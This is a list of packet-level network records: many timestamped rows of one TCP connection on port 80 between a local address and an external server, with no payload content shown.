Nov 24, 2024 10:24:17.387229919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.387275934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.387305021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.387341022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.388365984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.388381958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.388410091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.388421059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.389448881 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.389522076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.389544964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.389590979 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.390644073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.390691042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.390743971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.390788078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.391839027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.391855001 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.391882896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.391895056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.392844915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.392888069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.392955065 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.392997980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.393996954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.394041061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.394093990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.394135952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.395119905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.395163059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.395243883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.395284891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.396291018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.396306038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.396333933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.396344900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.397371054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.397419930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.397510052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.397556067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.398684025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.398729086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.398765087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.398807049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.399673939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.399712086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.399720907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.399749994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.400768995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.400825977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.400892019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.401968002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.402136087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.402203083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.403064966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.403122902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.403188944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.403562069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.404314995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.404375076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.404476881 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.404547930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.405323982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.405370951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.405436039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.405478001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.406470060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.406517029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.406574965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.406618118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.407821894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.407867908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.407915115 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.407957077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.408725023 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.408771038 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.408833981 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.408874989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.409831047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.409918070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.409941912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.410007954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.411036015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.411082029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.411107063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.411148071 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.412147999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.412192106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.412250042 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.412293911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.413249969 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.413297892 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.413371086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.413414001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.414458990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.414505005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.414666891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.414711952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.415509939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.415555954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.415630102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.415676117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.416815996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.416838884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.416870117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.416902065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.417980909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.418030024 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.418062925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.418102980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.419167042 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.419210911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.419289112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.419341087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.420100927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.420147896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.420212984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.420254946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.421175957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.421221018 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.421246052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.421294928 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.422391891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.422436953 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.422542095 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.422585011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.423660994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.423707008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.423784018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.423829079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.424803972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.424851894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.424981117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.425028086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.425977945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.426023006 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.426049948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.426090002 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.426808119 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.426857948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.426923037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.426968098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.569737911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.569966078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.570008993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.570034981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.570462942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.570477962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.570516109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.570538998 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.571582079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.571631908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.571710110 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.571755886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.572680950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.572735071 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.572813988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.572860003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.573715925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.573761940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.574125051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.574167013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.575458050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.575510979 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.575536966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.575579882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.576555967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.576602936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.576664925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.576917887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.577639103 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.577685118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.577764988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.577809095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.578533888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.578577995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.578689098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.578732014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.579474926 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.579490900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.579514980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.579550028 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.580507994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.580554962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.580601931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.580643892 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.581672907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.581720114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.581825018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.581867933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.582781076 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.582824945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.582853079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.582901001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.583916903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.583961010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.583997965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.584043026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.585052013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.585094929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.585150003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.585192919 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.586158991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.586203098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.586282969 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.586325884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.587609053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.587625980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.587668896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.588433027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.588479042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.588546991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.588591099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.589566946 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.589617968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.589658976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.589705944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.590708017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.590754986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.590787888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.590888023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.591937065 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.591952085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.591980934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.591994047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.592968941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.593013048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.593064070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.593107939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.594125032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.594170094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.594196081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.594237089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.595282078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.595326900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.595398903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.595438957 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.596438885 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.596482992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.596570969 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.596616030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.597898960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.597969055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.598043919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.598089933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.598977089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.599016905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.599076986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.599121094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.599895954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.599942923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.599968910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.600008965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.601001024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.601046085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.601151943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.601193905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.602124929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.602166891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.602334023 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.602375031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.603161097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.603260040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.603290081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.603323936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.604290009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.604336023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.604414940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.604460001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.605500937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.605545044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.605614901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.605658054 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.606563091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.606611967 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.606676102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.606722116 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.607755899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.607800961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.607872963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.607917070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.609278917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.609347105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.609433889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.609476089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.610863924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.610907078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.611001015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.611044884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.612488985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.612530947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.612665892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.612709045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.613900900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.613943100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.613974094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.614017963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.615000963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.615044117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.615149975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.615319014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.616360903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.616405010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.616441011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.616482019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.617455959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.617500067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.617647886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.617690086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.618592024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.618634939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.618707895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.618751049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.619607925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.619676113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.619704008 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.619744062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.620718956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.620768070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.620794058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.620837927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.621618986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.621660948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.621810913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.621857882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.622598886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.622643948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.622725964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.622770071 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.623667955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.623711109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.623742104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.623784065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.624645948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.624691010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.624766111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.624809027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.625942945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.625987053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.626142025 CET	80	49813	31.41.244.11	192.168.2.5
